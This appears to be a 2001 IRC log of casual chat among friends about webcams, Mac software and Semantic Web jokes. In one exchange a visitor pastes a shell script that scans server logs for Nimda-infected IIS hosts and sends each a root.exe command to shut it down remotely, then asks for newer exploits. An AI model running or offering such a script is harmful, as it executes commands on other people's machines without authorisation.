Probably not, Aaron 02:32:58 <AaronSw> And then he thought: 02:33:04 <AaronSw> this fan site will be too much work. 02:33:06 <Morbus> actually, sadly enough, someone came to me to do a morbus fan club 02:33:13 <AaronSw> I'll sell it to my idol, Mr. Morbus. 02:33:17 <Morbus> and then she's like "wait, my bf will get mad. how about a disobey fanclub?" 02:33:26 <sbp> really? I'll bet it was Aaron 02:33:29 <AaronSw> lol 02:33:32 <Morbus> hehe. no, it was some chick :) 02:33:37 <sbp> Er... Aarona 02:33:41 <Morbus> lol 02:33:43 <Morbus> aaronette 02:33:49 <sbp> yeah, that's it 02:33:49 <AaronSw> I know these quotes are going to be taken out of context... :-/ 02:33:59 <sbp> hopefully 02:34:01 <sbp> :-) 02:34:04 <AaronSw> lol 02:34:07 <Morbus> hehe 02:34:21 <AaronSw> Heh, I like this juxtaposition on CNN: 02:34:26 <AaronSw> <CC> WE WILL RALLY THE WORLD TO 02:34:27 <AaronSw> <CC> THIS CAUSE BY OUR EFFORTS, 02:34:27 <AaronSw> <CC> BY OUR COURAGE. 02:34:27 <AaronSw> <CC> WE WILL NOT TIRE. 02:34:27 <AaronSw> <CC> WE WILL NOT FALTER, AND WE 02:34:28 <AaronSw> <CC> WILL NOT FAIL. 02:34:31 <AaronSw> <CC> [APPLAUSE] 02:34:32 <AaronSw> <CC> POINT. 02:34:34 <AaronSw> <CC> SHOOT. 02:34:47 <sbp> Different 02:35:03 <AaronSw> <CC> THE HP PAVILION 7970 02:35:03 <AaronSw> <CC> WITH THE INTEL 02:35:03 <AaronSw> <CC> PENTIUM 4 PROCESSOR. 02:35:03 <AaronSw> <CC> HOW WILL YOU USE IT? 02:35:08 <AaronSw> That's a very good question... 02:35:12 <sbp> * sbp wonders where the sign-up sheet is for the disobey fanclub 02:35:20 <sbp> lol @ Q 02:35:42 <Morbus> oOoh. you wanna be my number one fan? 02:38:22 <sbp> * sbp should go read some more Crowley to woo Morbus the next time he drops by 02:38:48 <Morbus> you could buy me something off my wishlist instead ;) 02:39:03 <sbp> * sbp is still trying to find a copy of LZIII with "do what thou shalt..." in the run-off groove 02:39:06 <AaronSw> camboy! 02:39:16 <sbp> lol! woo, camboy 02:39:19 <AaronSw> We need a Morbus webcam. 02:39:25 <Morbus> i got one :) 02:39:28 <Morbus> you want it on? :) 02:39:30 <AaronSw> * AaronSw set up his webcam today... 02:39:38 <sbp> * sbp wonders what a webcam is 02:39:41 <AaronSw> Err, well, yes... 02:39:55 <Morbus> alright. hold on. gotta start up classic 02:40:09 <sbp> please: no obscene gestures 02:40:25 <sbp> and don't push the red button... 02:40:28 <Morbus> oh, i'm rather boring. 02:40:49 <sbp> sorry, you can't beat me 02:41:12 <AaronSw> hmm, wonder why my website is being so slow... 02:42:14 <AaronSw> Aha... here's my webcam photo from this morning: http://swartzfam.com/aaron/computer.jpg 02:42:17 <sbp> lol 02:42:18 <Morbus> alright, 63.173.138.149/index.htm should get ya thou 02:42:19 <sbp> [[[ 02:42:20 <sbp> Bob Saget of America's Funniest Home Videos 02:42:20 <sbp> calls this page "uproariously funny. A perfect ten." 02:42:26 <sbp> ]]] - http://www.disobey.com/indexx.htm 02:42:34 <AaronSw> Heh! 02:42:34 <Morbus> whoo! you found the secret page! 02:42:47 <Morbus> i congratulate you! 02:42:49 <AaronSw> I bet he never said that, though. 02:43:00 <sbp> thanks 02:43:19 <sbp> heh, the Webcam's coming through 02:43:23 <AaronSw> do you always websurf without a shirt? 02:43:31 <Morbus> i do everything in boxers 02:43:34 <AaronSw> How'd you find it, sbp? 02:43:34 <sbp> and where's the obscene gesture? come on! 02:43:48 <sbp> find it: dunno. I just appear in places like that 02:44:06 <Morbus> how's that 02:44:06 <sbp> hooray! 02:44:15 <Morbus> hehe 02:44:49 <sbp> perfect. I'm gonna have a poster made of it, and sell it to the Morbus minions 02:45:05 <Morbus> you should. i'll sign 100 copies if you cut me in ;) 02:45:21 <sbp> I'll sign 'em myself, save you the shipping 02:45:32 <Morbus> no, no, i have my own special sig... 02:45:35 <Morbus> lemme sharpie it for you 02:45:46 <sbp> if you must 02:46:22 <sbp> * sbp wonders if that's the top of a laptop in the camview 02:46:41 <Morbus> ah. no. that's a glass of water 02:47:08 <sbp> interesting: I don't have any sensibilities 02:47:16 <Morbus> :) 02:47:18 <sbp> what's the deeley at the bottom? 02:47:28 <Morbus> hmm? 02:47:38 <AaronSw> figure it out, binky. 02:47:48 <sbp> woot? 02:47:53 <Morbus> w00t! 02:48:07 <sbp> I repeat: woot? 02:48:16 <Morbus> w00t! 02:48:21 <Morbus> i dunno. i heard it somewhere 02:48:30 <sbp> man, you look so bored 02:48:43 <sbp> * sbp can't blame you 02:48:47 <Morbus> playing some stupid game and chatting to a room full of moro.... oop. 02:48:52 <Morbus> i mean. uh. i'm discussin the intricacies of life 02:48:59 <sbp> yeah, precisely 02:49:26 <sbp> you mean moro^h^h^h^hvery nice people 02:49:28 <Morbus> ooh. you wanna see freeshit people have sent me? 02:49:39 <sbp> yeah! any body parts? 02:49:52 <Morbus> no. stupid shit :) 02:50:01 <sbp> just as good 02:50:18 <Morbus> thats some stupid cd that beckons me to get off the computer in "electro" tones. 02:50:27 <sbp> * sbp wonders where Aaron went 02:50:50 <AaronSw> * AaronSw is here 02:51:00 <sbp> * sbp jumps 02:51:04 <AaronSw> what's that? 02:51:06 <AaronSw> I can't read it 02:51:10 <sbp> aaargh, blurry 02:51:13 <Morbus> refresh. better image 02:51:23 <Morbus> that's some stupid thing that peoplecards sent me. 02:51:39 <AaronSw> Heh. 02:52:01 <sbp> what's that? 02:52:12 <sbp> oh, it's some dude looking at a Webcam 02:52:36 <Morbus> thats some 1995 sealed "entertainment zine". 02:52:41 <Morbus> i collect shit like that. 02:52:54 <Morbus> nd that's all the stuff that i have ne...ooOP. one more; 02:53:00 <sbp> neat: who's that on the cover? 02:53:33 <Morbus> trent reznor from the closer video 02:53:48 <Morbus> and that's some cock soup mix from canada 02:54:17 <sbp> cock soup? 02:54:26 <Morbus> yeah :) 02:54:30 <Morbus> chicken soup. 02:54:33 <sbp> and you haven't eaten it yet? 02:54:39 <sbp> :-) 02:54:40 <Morbus> yeah, so that's all i have nearby 02:54:57 <sbp> * sbp should get a webcam... cool to harass people with 02:55:08 <Morbus> ooh... 02:55:17 <Morbus> advertising income! 02:55:26 <AaronSw> * AaronSw would turn on his webcam but I'm not going to start up classic just so you losers can look at me. 02:55:35 <Morbus> hehe. 02:55:37 <AaronSw> advertising? on your webcam? 02:55:45 <Morbus> there's only one adonis in this room, and thats me. 02:55:48 <Morbus> no for gamegrene. 02:56:15 <sbp> aw go on, turn it on! 02:56:21 <Morbus> one of my covers for an mp3 cd 02:57:01 <sbp> Woo, Green Day! 02:57:16 <sbp> Warning's quite a good song actually... 02:57:22 <Morbus> and that's you :) 02:57:48 <sbp> what is? 02:57:52 <AaronSw> Heh. 02:57:58 <sbp> aha! 02:58:14 <sbp> ooh, blue and black 02:58:39 <Morbus> yah :) 02:58:41 <Morbus> black and blue, i prefer 02:58:50 <sbp> * sbp wonders who Mishka is... 02:59:22 <sbp> ah 03:00:47 <sbp> Hmm... http://www.w3.org/TR/2001/WD-di-princ-20010918/ 03:00:58 <AaronSw> Device Independent Prince Nodes? 03:01:00 <Morbus> c'mon aaron, your turn 03:01:05 <sbp> yeah 03:01:12 <AaronSw> Aww, do I really have to start up classic? 03:01:21 <Morbus> yes, yes, you do :) 03:01:26 <Morbus> i did it for you! 03:01:26 <Morbus> :) 03:01:26 <sbp> 'fraid so. We wanna see your junk 03:01:36 <AaronSw> OK... but just this once. 03:02:22 <Morbus> one more pic for everyone in a sec 03:03:08 <Morbus> l00k! 03:03:51 <sbp> Woo, Futurama 03:03:53 <AaronSw> Ooh... Are you Morbo? 03:03:56 <Morbus> shutting it down. must focus on aaron 03:04:09 <Morbus> heh. no. but i've had two people remember that char when they see me 03:04:20 <sbp> lol 03:05:52 <sbp> * sbp gets some weird foreign label spam 03:06:31 <sbp> do people really expect me to buy some labels when they send me huge emails in languages that I do not understand? 03:07:15 <sbp> and anyway... labels! If I need some labels, I 03:07:21 <sbp> 'll just go down the road 03:07:35 <sbp> * sbp thinks about moving his ' key away from his enter key 03:07:40 <Morbus> hehe 03:07:47 <AaronSw> Yuck... I hate Classic.... :-( 03:07:57 <sbp> Oh, stop whinging! 03:08:22 <sbp> Morbus didn't whinge (much) 03:08:39 <Morbus> oh aaron. 03:08:54 <Morbus> what the frel is the magic zip shell command to zip up a bunch of jpgs? 03:08:58 <sbp> you came and you sold me a turkey 03:10:04 <AaronSw> magic: that sounds like a deltab question 03:11:54 <Morbus> ah twell 03:12:54 <tav> zip? 03:12:57 <tav> tar boy! 03:12:58 <tav> tar! 03:13:12 <tav> tar on tar off 03:13:19 <tav> * tav moves hand in circular motion 03:13:24 <Morbus> i can't even figure that out ;) 03:13:27 <AaronSw> heh 03:13:40 <Morbus> i always wanted a clapper 03:14:04 <AaronSw> Classic shouldn't take this freaking long... it's only 1/4 of the way done! 03:14:23 <Morbus> holy turd, you serius? 03:14:35 <Morbus> my classic takes about 30 seconds to startup 03:14:45 <Morbus> there's something wrong with that 03:15:36 <AaronSw> i'm going to stop it and try again... 03:15:53 <AaronSw> It feels like nails screeching at chalk board... over and over and over again. 03:16:32 <Morbus> thats so messed up. 03:16:41 <Morbus> are you running all your 3rd party extensions still? 03:16:49 <Morbus> lots of fonts in your folder? 03:16:58 <Morbus> rebuilt desktop lately/ 03:16:58 <Morbus> turned off "apple menu options"? 03:16:59 <AaronSw> probably... i haven't used classic for a long time 03:17:18 <AaronSw> and i never upgraded to 9.2.1 03:17:54 <Morbus> thats what i have right now, but even under 9.1 it was a lot faster than your travesty. 03:22:00 <AaronSw> it seems to have gotten stuck again in the same place 03:22:09 <Morbus> i'd rebuild the desktop 03:25:41 <Morbus> i think this is an excuse so you don't have to cam yoruself 03:25:50 <sbp> * sbp too :-) 03:26:09 <AaronSw> no! I'm serious... 03:26:25 <AaronSw> i'm rebuilding the desktop now, but it's really slow too. 03:26:56 <sbp> reboot? 03:27:58 <AaronSw> yay! finally the other computer is free 03:28:09 <Morbus> and lemem guess. 03:28:18 <Morbus> your cam is all jumbled with other wires, so you can't move it to there ;) 03:28:30 <AaronSw> no -- it's a portable 03:28:38 <AaronSw> and my cam is not jumbled! my desk is very clean 03:28:42 <Morbus> hehehe. 03:28:45 <Morbus> don't get indignant now 03:29:00 <sbp> mine has limited space... there's a keyboard, and a comb 03:29:10 <AaronSw> Now just let me start up Classic on the other computer... 03:29:14 <Morbus> yeah, my keyboard has a lot of hair in it too 03:29:20 <sbp> lol 03:31:19 <AaronSw> OK, here we go... 03:31:59 <AaronSw> hmmph.. CoolCam froze, it seems 03:32:20 <sbp> ghrghpmrhprh 03:32:25 <Morbus> i knew it would 03:32:33 <AaronSw> CoolCam keeps quitting out... 03:32:39 <sbp> :-) 03:32:48 <AaronSw> I'm serious! 03:32:55 <AaronSw> Computers Suck. 03:33:13 <Morbus> hehehe 03:33:16 <AaronSw> Will CoolCam X work? 03:33:32 <Morbus> i dunno what your problem is. how about you just mail us a picture. 03:33:41 <Morbus> under 9? i dunno 03:33:48 <Morbus> but if the drivers are only under classic, then no 03:34:02 <AaronSw> it's the same drivers you had... 03:34:10 <Morbus> nope, they won't 03:34:13 <AaronSw> * AaronSw restarts classic 03:36:40 <AaronSw> yay! it works! 03:38:34 <Morbus> cool. where is it? 03:39:10 <Morbus> course, i'm leaving in 10 minutes. gf is coming home. 03:39:24 <AaronSw> oh, great... 03:39:29 <AaronSw> can we get her on the cam? 03:39:41 <Morbus> no. :) 03:40:01 <AaronSw> wtf? Not enough entropy in RNG 03:40:16 <Morbus> ? 03:41:24 <Morbus> ah twell. i'm leaving. 03:41:34 <Morbus> see ya aaron and sean. 03:41:34 <AaronSw> connection timed out 03:41:42 <sbp> c'ya Morbus! 03:41:46 <AaronSw> i'm just having no luck today 03:41:50 <AaronSw> bye 03:41:57 <Morbus> like me and this stupid irc program :) 03:42:10 <Morbus> Morbus has quit 03:42:34 <sbp> Well, your Webcam program is nuts 03:42:48 <sbp> and to log off, I have to reset my computer. Wonderful 03:43:19 <AaronSw> ahh, here we go 03:43:35 <sbp> URI? 03:44:12 <sbp> sbp has quit 03:44:21 <AaronSw> http://dev.logicerror.com/webcam.jpg 03:44:23 <AaronSw> ugh! 03:44:29 <sbp> sbp has joined #swhack 03:44:32 <AaronSw> http://dev.logicerror.com/webcam.jpg 03:44:47 <sbp> oops 03:44:49 <sbp> aha! 03:45:10 <sbp> powermac? 03:45:18 <AaronSw> TiBook... PowerBook 03:45:35 <sbp> Got any interesting junk? 03:46:16 <AaronSw> Ooh, my copy of Weaving The Web 03:47:03 <sbp> the picture seems to be static 03:47:11 <AaronSw> reload now 03:47:15 <sbp> aha 03:47:34 <sbp> heh, "(all one line)" 03:47:43 <AaronSw> Ben: I'm sorry I didn't send out that Simpsons CD... I have the physical disk but I haven't had time. 03:47:51 <sbp> that's O.K.! 03:47:53 <AaronSw> (Ben refuses to be photoed.) 03:47:57 <sbp> :-) 03:48:04 <tav> ben? 03:48:08 <AaronSw> My brother. 03:48:10 <AaronSw> Reload! 03:48:12 <tav> age? 03:48:15 <sbp> tav! 03:48:39 <AaronSw> younger than me 03:48:40 <tav> sbp... 03:48:52 <AaronSw> reload! my setup... 03:49:16 <sbp> Aaron "three monitors" Swartz :-) 03:49:22 <AaronSw> :-) 03:49:33 <sbp> we're on the little on? 03:49:34 <tav> hmz 03:49:36 <sbp> s/on/one 03:49:41 <AaronSw> nah, the big one... 03:49:42 <tav> i fear caching 03:50:15 <tav> wow 03:50:28 <tav> BIG monitor 03:50:31 <AaronSw> (it's not usually like that) 03:50:37 <AaronSw> ahh, there's you... 03:50:40 <AaronSw> It's not that big! 03:50:59 <tav> that's the tiBook ? 03:51:03 <sbp> woo, #swhack! 03:51:14 <AaronSw> what is? latest picture is of big CRT 03:51:33 <tav> no, the big monitor thing.. 03:51:50 <AaronSw> Yeah, the one on the right is the tiBook 03:52:00 <AaronSw> reload! my bookshelf 03:52:10 <sbp> YourLowestBookshelf 03:52:26 <AaronSw> :-) 03:52:46 <sbp> can't really read the book titles all that well... 03:52:59 <AaronSw> reload! oversized Tweety Bird 03:53:18 <sbp> woo! 03:53:18 <tav> hehe 03:53:27 <tav> do bookshelf again 03:53:29 <tav> i missed that 03:53:50 <sbp> try from a bit closer range, too 03:54:09 <AaronSw> ok... try now 03:54:30 <sbp> ha, P2P 03:54:54 <sbp> I've got a signed copy :-) 03:55:16 <AaronSw> Pfft. 03:55:18 <sbp> He he he 03:55:26 <tav> * tav sees learning pythong 03:55:29 <tav> woo! 03:55:48 <tav> sbp: you were at the conference? 03:55:57 <sbp> Nope 03:56:04 <sbp> Heh, as if 03:56:16 <tav> i was ;p 03:56:18 <tav> * tav gloats 03:56:21 <sbp> I got one of the co-authors to sign when he visited my house 03:56:26 <AaronSw> How can you see Learning Python -- it was turned backwards in that picture? 03:56:31 <tav> which one? 03:56:38 <sbp> DanBri 03:56:52 <sbp> er... Dan Brickley 03:56:52 <tav> ah that metadata chapter 03:57:03 <sbp> * sbp notes the Bricklin/Brickley problem 03:57:24 <tav> AaronSw: isn't it the one to the right? 03:57:35 <tav> 'learnin' 03:57:38 <AaronSw> No, that's Learning Cocoa... 03:57:47 <AaronSw> Learning Python is on the upper left. 03:57:49 <tav> damnit! 03:57:57 <sbp> He he he 03:58:07 <tav> same size, similar colour, figured the webcam munged it 03:58:28 <AaronSw> Similar animal... :-) 03:58:45 <AaronSw> * AaronSw wonders what to take picture of... 03:58:54 <sbp> the room? 03:59:06 <AaronSw> not much in it, i'm afraid. 03:59:20 <sbp> just you, a few computers, a Tweety bird... 03:59:26 <AaronSw> ... and a bed 03:59:40 <sbp> it's your bedroom? 03:59:47 <AaronSw> yeah, what'd you think it was? 03:59:55 <sbp> an office! 04:00:06 <AaronSw> pfff... why have two rooms when you can have one? 04:00:36 <AaronSw> that way i can get out of bed and make sleepy comments on IRC 04:00:41 <sbp> I suppose. My computer's in my bedroom too... 04:00:48 <tav> heh 04:01:01 <tav> well, in my flat, my bedroom remained unoccupied for the most part 04:01:04 <sbp> but it only takes up a small spot in it 04:01:15 <sbp> not even a bed? 04:01:15 <tav> i slept on the floor unless i had company 04:01:24 <sbp> wow 04:01:35 <tav> yea, there was a bed, but it was a waste really 04:01:45 <sbp> why sleep on the floor? 04:01:52 <tav> soooooooo much nicer 04:01:56 <tav> and feels more natural 04:02:00 <sbp> harder, I guess 04:02:00 <tav> closer to earth 04:02:05 <sbp> I like my sofa 04:02:17 <sbp> [just an incedental comment] 04:02:33 <tav> come on sofa! be my bitch! 04:02:39 <sbp> lol 04:03:03 <tav> AaronSw: picture of yourself? 04:03:21 <AaronSw> http://aaronsw.com/computer.jpg 04:03:49 <AaronSw> reload! rest of room 04:04:23 <sbp> * sbp tries to make sense of that photo 04:04:31 <sbp> bed on the right... 04:04:37 <AaronSw> radiator on the left 04:04:39 <AaronSw> carpet on the floor 04:04:40 <sbp> white grill thing on the left 04:04:46 <sbp> and a white blob on the floor 04:04:50 <AaronSw> it's green! 04:05:07 <sbp> looks pretty white to me 04:05:16 <AaronSw> didn't come out so well in the picture. 04:05:35 <tav> what is it? 04:05:39 <sbp> what happens to the carpet by the radiator? 04:05:47 <AaronSw> what is what? 04:05:51 <AaronSw> the carpet has survived fine. 04:06:23 <sbp> I mean, it seems to abutt weirdly... I'm having trouble working out the picture 04:06:43 <AaronSw> It's an interesting picture... you have to understand that it's rotated slightly funny. 04:07:23 <AaronSw> computer.jpg: the sunlight does make me look something other than caucasian, tav. you' 04:07:23 <sbp> what's the model on the radiator? 04:07:31 <AaronSw> tav: you're right. 04:07:36 <AaronSw> model? 04:07:43 <AaronSw> that's the lamp I made. 04:07:45 <sbp> something 04:07:55 <AaronSw> and to the left of it is a Pringles can for a 802.11 pringles can antenna i'm going to build someday 04:08:00 <sbp> the wooden thing? 04:08:06 <AaronSw> yeah, it's a cool lamp 04:08:13 <sbp> blimey 04:08:32 <tav> hmz 04:08:51 <tav> acs? 04:09:02 <tav> you are running acs? 04:09:09 <AaronSw> On that server, yes. 04:09:14 <AaronSw> on my dev box 04:09:51 <sbp> the wonderful dev box 04:09:55 <sbp> let's have a snap of it! 04:09:57 <tav> * tav looks in scorn 04:10:00 <AaronSw> it's in the basement 04:10:06 <tav> zope lad! 04:10:08 <tav> zope! 04:10:09 <sbp> Aw 04:10:21 <AaronSw> heh... it's a leftover from before I knew of the Zope Way. ;-) 04:10:31 <AaronSw> OK, time to go negative! 04:11:48 <sbp> p'on? 04:11:51 <AaronSw> reload! 04:12:35 <sbp> * sbp saves it, and does a negative 04:12:56 <sbp> any other cool effects? 04:13:18 <AaronSw> no, don't think so 04:13:35 <sbp> ah, well 04:15:48 <sbp> * sbp is unhappy that no obscene gestures have been made thus far 04:16:04 <AaronSw> * AaronSw doesn't usually make obscene gestures a matter of public record 04:16:21 <sbp> :-) 04:16:53 <sbp> they're good because then you don't have to repeat yourself 04:17:10 <tav> obscene gestures 04:17:11 <tav> heh 04:17:21 <tav> people and their sensibilities 04:17:29 <tav> it's a gesture for fuck's sake 04:17:32 <sbp> just wait 'till I get a Webcam... 04:17:40 <tav> and 'fuck' it's just a bloody word! 04:17:52 <sbp> yeah, I feel exactly the same fucking way 04:17:54 <sbp> :-) 04:18:02 <AaronSw> heh 04:18:07 <sbp> so does Stephen Fry, apparently 04:18:22 <AaronSw> I mean, I don't mind hearing them or seeing them... I just don't generally say them. 04:19:17 <AaronSw> And you'll probably make fun of my hands. ;-) 04:19:39 <sbp> ? 04:20:15 <tav> his wrists aren't really powerful yet 04:20:21 <tav> * wink * wink * 04:20:31 <sbp> Aaron, you should play more badminton 04:20:40 <sbp> or Guitar 04:20:48 <AaronSw> Heh. 04:20:48 <sbp> my fingers were so weak when I started playing 04:21:01 <sbp> * sbp picks up his guitar 04:21:10 <AaronSw> As if I didn't get enough of this from Morbus... 04:22:22 <sbp> * sbp wonders what to play 04:23:04 <sbp> * sbp settles on a medley 04:23:07 <AaronSw> Hmm, well you'll need to come over to my house sometime, sbp. Seeing it via webcam isn't the same. 04:23:29 <sbp> yeah 04:24:48 <AaronSw> reload and see my eyeball ;-) 04:25:05 <sbp> heh 04:25:19 <sbp> and the computer screens 04:25:32 <AaronSw> heh... yeah 04:26:10 <sbp> * sbp plays the Octopus' Garden solo 04:26:50 <AaronSw> heh! this program has blurs! 04:27:05 <sbp> demonstration? 04:28:07 <AaronSw> yeah... look now 04:28:22 <sbp> heh! 04:28:30 <sbp> witness X... 04:28:41 <AaronSw> The notorious SemWeb hacker! 04:28:46 <sbp> lol 04:31:07 <sbp> Well, bollocks to this 04:31:37 <sbp> c'ya! 04:31:42 <AaronSw> c'ya 04:31:46 <AaronSw> i better do my homework now... 04:31:56 <sbp> :-) 04:31:59 <sbp> sbp has quit 04:34:32 <tav> hmz 04:34:36 <tav> where eyeball go? 04:34:44 <AaronSw> we replaced it 04:35:18 <AaronSw> and then i decided to delete things and cover up my trail. ;-) 04:35:23 <tav> heh 04:42:24 <tav> i'm going to bomb the pentagon tomorrow! bwahahahahahaha 04:47:48 <logster> logster has joined #swhack 04:47:48 <niven.openprojects.net> Users on #swhack: logster AaronSw eberg tav deltab 04:48:19 <AaronSw> hmm 04:48:31 <AaronSw> tav! how could you say such things? 04:50:47 <BadMan> BadMan has joined #swhack 04:51:10 <AaronSw> Hi BadMan 04:51:14 <BadMan> hiya 04:51:33 <BadMan> guess ome are alive in here hehe 04:51:46 <AaronSw> What brings you here? 04:52:02 <BadMan> the little word on end of channelname... 04:52:17 <AaronSw> hacking? 04:52:20 <BadMan> tired of these damn IIS nimda infected servers hitting my apache 04:52:42 <AaronSw> Isn't everyone... 04:53:00 <BadMan> jsut wana stopp themm tried an older lien to shutthemdown .. but most seem to be patcehd beyond that and imout of loop on it 04:53:11 <tav> ROFL @ log 04:54:01 <BadMan> i wont flood if I dump about 6 lines onya will i...? 04:54:08 <AaronSw> no, don't think so 04:54:40 <BadMan> LOG=/var/log/httpd/access_log 04:54:40 <BadMan> URL_1="/scripts/root.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx+5" 04:54:40 <BadMan> egrep 'cmd.exe?|root.exe?|winnt|masdc|MASDC' $LOG | cut -d\ -f1 | sort | uniq $ 04:54:40 <BadMan> do 04:54:40 <BadMan> wget -T 45 -t 1 -nh -np --ignore-length --spider http://${line}${URL_1} 04:54:42 <BadMan> done 04:55:19 <AaronSw> why would you do that? 04:55:27 <BadMan> basically this little script while running reads var/log/httpd/access.. looks in each line for the stuff in 'egrep'... 04:55:47 <BadMan> if their offlien they aint sending nimda crap at me allt he time or anyone else.. 04:56:09 <AaronSw> Oh, so it just drops the machine dead? 04:56:21 <AaronSw> * AaronSw hasn't researched the exploit yet. 04:56:24 <BadMan> shuts it down... but liek i said 04:56:47 <BadMan> im out of loop on nt(over 3 years out of loop) and it seems this old exploit is pretty well patched over.. 04:57:09 <BadMan> wondered if anyone had a newer or better exploit of similiar tactics 04:57:40 <AaronSw> Not I... 04:58:11 <AaronSw> did you try googling? 04:58:17 <BadMan> yeap 04:58:23 <BadMan> didnt find much.. 04:58:46 <BadMan> I also ran a iisrest one as well, it didnt seem to work.. 04:58:54 <BadMan> err iisreset 04:59:24 <BadMan> it worked great on 4.0 most of these im getting hit by are 5.0 05:00:01 <BadMan> just from one ip i have over 2000 hits today 05:00:42 <BadMan> total of about 5000 hits today altogether 7000 yesterday.. all root.exe? and cmd.exe exploits 05:00:48 <AaronSw> wow 05:01:09 <BadMan> yeah total since start ont he 18th... staggering 19, 450 05:02:18 <AaronSw> yeah, my servers are being pounded too. i've probably got about that many hits 05:02:33 <BadMan> guess instead of trying to shut them down I should write a script to append each new IP to my firewall as denied.. 05:02:54 <BadMan> you hear anything about this lebrea... 05:04:15 <tav> * tav fears saying anything in the channel 05:04:20 <tav> evil AaronSw! evil AaronSw! 05:04:44 <BadMan> hehe I guess I missed soemthin... 05:04:46 <AaronSw> I'm sorry that you feel that way, tav. 05:10:55 <BadMan> welp it was nice talkin to ya AaronSw if you happen to come across some kewl url scripts please message me thru memoserv... 05:10:59 <BadMan> thanks again.. 05:11:01 <AaronSw> will do 05:11:06 <AaronSw> no prob 05:11:09 <BadMan> g'nite 05:11:12 <AaronSw> sorry i wasn't more help 05:11:17 <AaronSw> g'nite 05:11:24 <BadMan> no biggie I WILLfind something 8) 05:11:29 <BadMan> BadMan has left #swhack 05:29:37 <AaronSw> Hmm... are there real numbers a and b, such that sqrt(a + b) == sqrt(a) + sqrt(b) ? 05:31:07 <AaronSw> Ahh.. 0 05:32:31 <AaronSw> * AaronSw thanks Python for this answer. 05:35:11 <tav> tav has quit 06:07:03 <eberg> eberg has quit 13:03:44 <Morbus> Morbus has joined #swhack 13:15:54 <AaronSw> wassup? 13:16:39 <Morbus> nothing. nothing at all. i'm tired. 13:20:08 <AaronSw> gotta run 13:20:20 <AaronSw> AaronSw has quit 13:49:34 <AaronSw> AaronSw has joined #swhack 14:00:58 <AaronSw> AaronSw is now known as scribe-Aaron 14:45:54 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 14:46:04 <logster> logster has joined #swhack 14:46:04 <carter.openprojects.net> topic is: Come one, come all! It's tav bashing day. Marvel at the ways in which tav is bashed 14:46:04 <carter.openprojects.net> Users on #swhack: logster scribe-Aaron 14:46:13 <deltab> deltab has joined #swhack 14:46:52 <Morbus> Morbus has joined #swhack 14:58:59 <scribe-Aaron> scribe-Aaron has quit 15:54:59 <Morbus> Morbus has left #swhack 16:24:49 <sbp> sbp has joined #swhack 16:32:19 <sbp> sbp has quit 17:47:43 <Morbus> Morbus has joined #swhack 17:47:45 <Morbus> exit 17:47:48 <Morbus> Morbus has quit 18:51:25 <tav`> tav` has joined #swhack 18:53:38 <AaronSw> AaronSw has joined #swhack 18:54:40 <AaronSw> Today in Music class: 18:55:10 <AaronSw> We were discussing sharps and flats, and one student asked why we needed things like double sharps, etc. if they could be replaced by a simpler note. 18:55:18 <AaronSw> The teacher replied that we would discuss that later. 18:55:30 <AaronSw> The students, quite curious, continued to pleade for an explanation. 18:55:34 <AaronSw> The teacher refused. 18:55:48 <AaronSw> One student finally said, "Can my friend Mr. Washington convince you to tell us?" 18:55:52 <AaronSw> The teacher gave in. 18:56:12 <AaronSw> --- 18:56:25 <AaronSw> This was a story. I should do more of these. 18:59:23 <tav> tav has joined #swhack 19:24:56 <AaronSw> Hmm, it bothers me every time I visit Zope.org that they've stolen Apple's typeface. 19:25:28 <AaronSw> Seen elsewhere: 19:25:33 <AaronSw> rm -rf /bin/Laden 19:26:59 <AaronSw> Dmoz is on top of things: 19:27:03 <AaronSw> http://dmoz.org/Society/Issues/Terrorism/International_Terrorists/USA_Designees/Al-Qaida/Usama_Bin-Laden/ 20:15:05 <AaronSw> * AaronSw updates http://blogspace.com/pictures/ 20:46:09 <sbp> sbp has joined #swhack 20:48:04 <AaronSw> * AaronSw waves 20:48:16 <sbp> * sbp waves at Aaron 20:49:02 <AaronSw> I said a bunch of stuff in the logs today. 20:49:19 <AaronSw> AaronSw has changed the topic to: This statement is funny. 20:49:37 <AaronSw> I say some put some funny stuff in the logs when you're not around. 20:49:44 <AaronSw> And, as tav discovered, even when you are! 20:50:08 <sbp> * sbp goes through the logs 20:53:37 <AaronSw> * AaronSw goes back to annotating photos 21:05:22 <sbp> lol! Brie and cheese 21:05:42 <AaronSw> Haven't you heard that? Bush said it. 21:05:55 <tav> ehm 21:06:05 <tav> this place gets weirder by the day 21:06:14 <AaronSw> So, how's the Pentagon, tav? 21:06:25 <sbp> I was just discussing with Aaron that transliterating "and" is not a good idea 21:06:39 <AaronSw> * AaronSw doesn't understand what transliterating "and" means 21:06:44 <AaronSw> ... thus the comment 21:07:06 <sbp> and, adn, dna, dan, nda, nad 21:07:16 <sbp> [[[ 21:07:17 <sbp> Error: 21:07:18 <sbp> could not connect to "127.0.0.1:82" (opening connection) 21:07:23 <sbp> ]]] - http://blogspace.com/swhack/chatlogs/2001-09-21.txt 21:07:29 <sbp> the latter is the one to be wary of 21:07:42 <AaronSw> interesting... 21:10:00 <AaronSw> OK, should be fixed now, sbp. 21:10:22 <AaronSw> * AaronSw wonders where the OmniGroup comes up with their prices... 21:10:33 <AaronSw> $14.92? $21.12? 21:10:36 <sbp> cheers 21:10:41 <AaronSw> $59.95! 21:12:53 <sbp> who? huh? 21:13:10 <sbp> * sbp has assed swintro to SBP SWAD 21:13:17 <AaronSw> cool 21:15:13 <AaronSw> Way to report known CWM bugs, sbp! You go, girl! 21:15:32 <sbp> semanticWeb-long! 21:15:32 <AaronSw> Hey, I saw Bob Mankoff on TV the other day, he looks really...interesting. 21:15:40 <sbp> Bob Mankoff? 21:15:58 <AaronSw> Head of the Cartoon Bank, runs the New Yorker's cartoon department. 21:16:18 <sbp> Oh 21:16:29 <AaronSw> http://www.reuben.org/news/0897/mankoff.asp 21:16:45 <sbp> sbp has changed the topic to: [ a :Joke ] . 21:16:49 <AaronSw> He looks cooler than he does in the cartoon, though. 21:17:15 <AaronSw> AaronSw has changed the topic to: [ not a :Joke ; rdf:value [ a :Joke ] ]. 21:18:34 <sbp> sbp has changed the topic to: { [ a :Joke; rdf:value [ a :Joke ] ] } a log:Falsehood . 21:18:45 <sbp> no, that's not right... 21:19:06 <AaronSw> Bzzt. 21:19:10 <AaronSw> Try again. 21:19:32 <sbp> well, what's rdf:value, for a start? 21:19:33 <AaronSw> Here's a hint: { _:a a :Joke} a log:Falsehood . 21:19:44 <AaronSw> rdf:value? nooobody knows. 21:19:59 <sbp> sbp has changed the topic to: 